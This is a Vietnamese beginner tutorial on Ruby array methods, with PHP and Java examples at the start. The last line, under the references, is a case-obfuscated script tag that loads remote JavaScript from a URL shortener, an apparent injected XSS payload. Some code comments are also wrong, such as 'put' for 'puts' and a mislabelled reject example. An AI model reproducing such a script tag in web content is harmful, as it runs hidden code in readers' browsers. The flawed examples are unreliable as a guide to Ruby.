sử dụng mảng (Array) trong Ruby on Rails như thế nào!?

I. Lời nói đầu

  • Với một coder chắc hẳn ai cũng thường xuyên thao tác với array (hay gọi là mảng). Thao tác với mảng giúp chúng ta giải quyết rất nhanh một vấn đề nào đó mà yêu cầu bài toán đặt ra.

  • Với array (mảng) thì hầu như tất cả các ngôn ngữ lập trình đều có, mình có thể lấy ví dụ định nghĩa array với một vài ngôn ngữ sau:

<?php
	$cars = array("Porsche", "BMW", "Toyota", "Mercedes");
	echo "I like " . $cars[0] . ", " . $cars[1] . $cars[2] . " and " . $cars[3] .".";
?>
double[] myList = {1.9, 2.9, 3.4, 3.5};
// Print all the array elements
for (int i = 0; i < myList.length; i++) {
	System.out.println(myList[i] + "! ");
}

và rất nhiều các ngôn ngữ lập trình khác nữa, ở trên mình chỉ xin lấy ví dụ về hai ngôn ngữ phpjava

  • Nhưng hôm nay mình xin giới thiệu với các bạn array sử dụng trong ruby on rails như thế nào, có điều gì khác biệt so với những ngôn ngữ khác hay không? Nào bây giời chúng ta bắt đầu tìm hiểu lần lượt nhé!

II. Sử dụng mảng trong Ruby

  • Đối với Ruby bạn có thể tạo ra một array với 3 cách sau đây:

+) Cách 1:

arr = []

+) Cách 2:

arr = Array.new

+) Cách 3:

arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
  • Sử dụng Array.new bạn cũng có thể xác định kích thước của mảng, và thậm chí bạn có thể thêm trước mỗi phần tử có giá trị mặc định.
arr = Array.new(3, "BMW") # returns ["BMW", "BMW", "BMW"]
  • Bạn cũng có thể nhanh chóng tạo ra các mảng đa chiều với các viết sau đây.
arr = Array.new(4, Array.new(2)) #  returns [[nil, nil], [nil, nil], [nil, nil], [nil, nil]]
  • Bạn có thể dễ dàng truy cập vào một hoặc nhiều phần tử của mảng. Xem ví dụ dưới đây.

- Truy cập phần tử trong mảng

arr = [1, 2, 3, 4, 5]

arr[0] #  returns the first element in the array, 1
arr[-1] #  skips backwards to the last element in the array
arr[1,3] #  starts at position 1 and ends at postion 3, returns [2,3,4]
arr[1..2] # same thing

- Thêm phần tử vào mảng

  • Bạn có thể thêm vào một phần tử vào cuối của mảng. Xét một ví dụ bên dưới bạn sẽ thấy rõ điều đó.
arr = [1, 2, 3, 4]
arr.push(5) # C1: Thêm phần tử 5 vào cuối mảng   returns [1, 2, 3, 4, 5]
arr << 6 # C2: Thêm thần tử 6 vào cuối mảng returns [1, 2, 3, 4, 5, 6]
  • Nếu bạn muốn thêm vào đầu của mảng, bạn dùng hàm sau unshift.
arr.unshift(0) #  returns [0, 1, 2, 3, 4, 5, 6]
  • Ngoài ra bạn muốn thêm vào bất kể vị trí nào trong mảng, bạn có thể sử dụng hàm insert để thực hiện điều đó
arr.insert(4, 7) #  returns [0, 1, 2, 3, 7, 4, 5, 6]

- Xóa phần tử vào mảng

  • Bạn có thể xóa phần tử cuối cùng của mảng bằng hàm pop
arr = [0, 1, 2, 3, 4, 5, 6]
arr.pop # phần tử 6 được xóa đi khỏi mảng returns [0, 1, 2, 3, 4, 5]
  • Nếu muốn xóa phần tử đầu của mảng bạn dung hàm sau shift
arr = [0, 1, 2, 3, 4, 5]
arr.shift # phần tử 0 được xóa khỏi mảng  returns [1, 2, 3, 4, 5]
  • Nếu bạn muốn xóa bất kể ở vị trí nào của mảng, bạn có thể sử dụng hàm delete_at, xét ví dụ bên dưới
a = [1, 2, 3, 4, 5]
a.delete_at(3) # phần tử 4 được xóa khỏi mảng returns [1, 2, 3, 5]
  • Ngoài ra bạn cũng có thể xóa tất cả các lần xuất hiện của một giá trị cụ thể trong một mảng. Xét ví dụ sau:
 arr = [6, 6, 5, 1, 1, 5, 5]
 arr.delete(5) # Tất cả các phần tử 5 bị xóa khỏi mảng returns [6, 6, 1, 1]

- Các hàm đặc biệt

  • Bạn có thể loại bỏ nil từ một mảng sử dụng hàm compact hoặc bạn có thể sửa đổi các mảng ban đầu bằng cách sử dụng compact!.
arr = [0, 1, nil, 3, 4, nil, 5, nil, 6]
arr.compact # loại bỏ tất cả các phần tử là nil returns [0, 1, 3, 4, 5, 6]
arr.compact! # The original array is now [0, 1, 3, 4, 5, 6]
  • Bạn có thể loại bỏ tất cả các phần tử trùng nhau khỏi mảng bằng hàm uniquniq!
arr = [1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 6, 6]
arr.uniq # loại bỏ tất cả các phần tử trùng returns [1, 2, 3, 4, 5, 6]
arr.uniq # loại bỏ tất cả các phần tử trùng returns [1, 2, 3, 4, 5, 6]
  • Bạn có thể đảo ngược phần tử trong mảng bằng hàm reverse and reverse!.
arr = [1, 2, 3, 4, 5, 6]
arr.reverse # đảo ngược phần tử trong mảng returns [6, 5, 4, 3, 2, 1]
arr.reverse! # đảo ngược phần tử trong mảng returns [6, 5, 4, 3, 2, 1]

- Duyệt các phần tử trong mảng

  • Bạn có thể duyệt các phần tử trong mảng bàng hàn each
arr = [1, 2, 3, 4]
arr.each do |val|
  put "#{val}! " # prints 1! 2! 3! 4!
end
  • Bạn có thể sử dụng hàm mapmap! để thự hiện các phép toán trong mảng.
arr = [1, 2, 3, 4, 5, 6, 7, 8, 9]
arr.map { |val| 2 * val} # returns a copy of the array containing [2, 4, 6, 8, 10, 12, 14, 16, 18]
arr.map! { |val| 2 * val} # modifies the original array to contain [2, 4, 6, 8, 10, 12, 14, 16, 18]
  • Dùng hàm selectselect! để lấy ra các phần tử theo điều kiện, ví dụ
arr = [2, 4, 6, 8, 10, 12, 14, 16, 18]
arr.select {|val| val > 10} # lấy ra những phần tử lớn hơn 10 [12, 14, 16, 18]
arr.select! {|val| val > 10} # lấy ra những phần tử lớn hơn 10 [12, 14, 16, 18]
  • Ngoài ra bạn có thể dùng hàm rejectreject! hai hàm này nó ngược với hàm selectselect!,xét ví dụ bên dưới bạn sẽ thấy dõ hàm này hoạt động như thế nào.
 a = [1, 2, 3, 4, 5]
 a.reject { |val| val < 3 } # lấy ra những phần tử lớn hơn 3 [3, 4, 5]
 a.reject! { |val| val < 3 } # lấy ra những phần tử lớn hơn 3 [3, 4, 5]

III. Kết luận

  • Vậy là bài viết này mình đã giới thiệu với mảng trong Ruby on Rails và đã biết được các hoạt động của nó như thế nào.
  • Mình hi vọng bài viết này có thể giúp ích đối với những người bắt đầu học và tìm hiểu ngôn ngữ lập trình Ruby on Rails
  • Mọi ý kiến đóng góp và có bất kỳ câu hỏi nào mọi người có thể để lại comment bên dưới, mình sẽ tận tình giải đáp những câu hỏi của các bạn! Thanks you!

Thanks for reading!

Tài liệu tham khảo.

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>

All Rights Reserved